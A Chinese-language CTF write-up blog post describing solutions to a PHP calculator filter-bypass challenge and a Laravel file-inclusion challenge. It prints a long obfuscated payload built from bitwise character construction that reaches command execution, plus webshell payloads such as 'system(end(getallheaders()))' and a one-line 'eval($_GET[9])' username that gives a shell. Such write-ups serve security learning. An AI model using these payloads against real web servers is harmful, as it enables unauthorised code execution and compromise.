Author:颖奇L’Amore
Blog:www.gem-love.com
本次比赛只帮战队solve了一个题,太菜了,然后calc的solve数比较多,本来不打算写wp了,这几天抽时间研究了一下其他题目,所以简单写一写。
calc▸
改编自RoarCTF2019的Easy Calc,访问calc.php拿到源码:
|
过滤了英文字符和[\x-7f-\xff]
以及一些符号,虽然取反没ban但也是不可以的,本题的思路是通过&
等位运算构造任意字符。
获得数字字符
我们可以得到任意数字,(1)
仍是int,但是如果((1).(2))
(注意需要套一个括号否则出错)就会得到字符串“12”
之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推
获得部分字符
通过NAN INF
以及科学计数法可以获得INAFE这5个字母,这样得到:
但是得到的是float类型,同样使用大括号截取并不能得到对应的单字符,反而会报错并返回NULL
那我们还可以通过刚刚的方法,让两个数字做点运算然后加上括号包裹,再用{}
截取,即可:
获得更多字符
现在我们有了几个英文字符、数字等,让他们互相做位运算即可得到更多字符,然后再把得到的更多字符再位运算又能得到更更多的字符。基本思路就是这样,具体操作起来可以先来参考一下杭电Vidar-Team的E99p1ant师傅的脚本:
|
这可以构造出一个表,主要是什么和什么位运算能得到什么,根据这个表我手工构造了大概10个左右的字符,然后把他们加进数组,再foreach()
互相位运算,基本需要的东西就够用了。 但是_和T是构造不出的,eval()
在这种环境下也不能用,直接用E99p1ant师傅的扫目录Payload扫到了根目录下的readflag,但是构造PHPINFO发现并没有disable_function,所以应该就是构造一个系统命令执行,Payload:
(((((((2).(0)){0}){0})(((0/0).(0)){1}))).(((1).(2)){0}((1/0).(0)){0}).((((((2).(0)){0}){0})(((0/0).(0)){1}))).((((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))))&(((1/0).(0)){1}))((((4).(0)){0}))).((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))).(((1/0).(0)){0}(((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))))((((((((-1).(0)){0})(((((8).(0)){0})&((((-1).(0)){0})(((999999).(1)){1})))((((2).(0)){0})&((((-1).(0)){0})(((999999).(1)){1}))))))).(((((((2).(0)){0}){0})(((0/0).(0)){1})))&(((2).(1)){0}((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))).((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))).(((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))&(((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).(((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0})))).((((1/0).(0)){0}(((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))&(((1/0).(0)){1}((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))).(((((999**999).(1)){2})(((-2).(1)){0})&(((1).(0)){0}))))) |
打过去就是执行readflag,但是发现了一个祖传老考点,就是需要solve一个计算
这个之前在2019 *CTF包括前几天的De1CTF等都有出现,这东西实际上是运行在系统上,有几种解决办法,比如trap等等,但是前提是先获得一个交互式shell,于是我又构造了反弹shell结果没成功,去问了管理员说是靶机不能出网 还可以用php或者perl的exp一键打,但是Payload比较长,所以我们必须要构造一个webshell,弄一个可控参数,然后把我们的Payload放上去,于是很容易想到了这样的格式:
system(end(getallheaders())) |
因为header可控,题目环境是Apache,就可以执行任意命令了。然后用这个脚本一键打:
|
转base,然后base64 -dphp
即可执行,或者直接用php来eval(base64_decode())
也可以,即可得到flag:
PWN-BEST PHP▸
这题分web和pwn两部分,拿到so扩展之后交给队友去pwn了,被队友一通喷
我就写下web部分的解题思路吧,但是有可能是非预期的解法 Laravel框架,登录后在/file得到源码:
|
可以发现有文件包含,就可以用伪协议读源码,包含一下Laravel框架的环境变量配置文件.env,从中得到了sqlite的位置:
我们知道SQLite是个无服务零配置的数据库,他的数据保存在文件内,和Mircosoft Access类似,然后我们得到了数据库文件的路径,于是伪协议读取一下:
可以发现我们的用户名和邮箱都能明文完整显示出来,而且用户名无限制,所以就注册一个php的一句话木马,然后去包含数据库文件即可。 然而包含出现了500Error,检测一下发现有弱智写php一句话时候没用?>闭合语句,导致了执行出错。这里肯定卡住了非常多人。 还有人因为包含不成功去要求管理员删库的:
实际上根本没有必要,因为看数据库发现新注册的账户实际上是在最上面的,所以只要写个注释把后面注释了就可以了,用多行注释后面的php语句不会执行,所以有错也不会造成500:
所以注册如下用户名即可getshell:
eval($_GET[9]);/* ?> |
用我这个方法,任何时间,任何地点,都可以直接getshell
然后把so文件下载下来去交给队友pwn。稳定的webshell是必要的,因为pwn完还要拿来交互。
Swoole▸
非常绕,今天研究了一天,推荐直接看开心师傅的文章:
kaixin师傅写的比较明白了,我就不重新写一遍了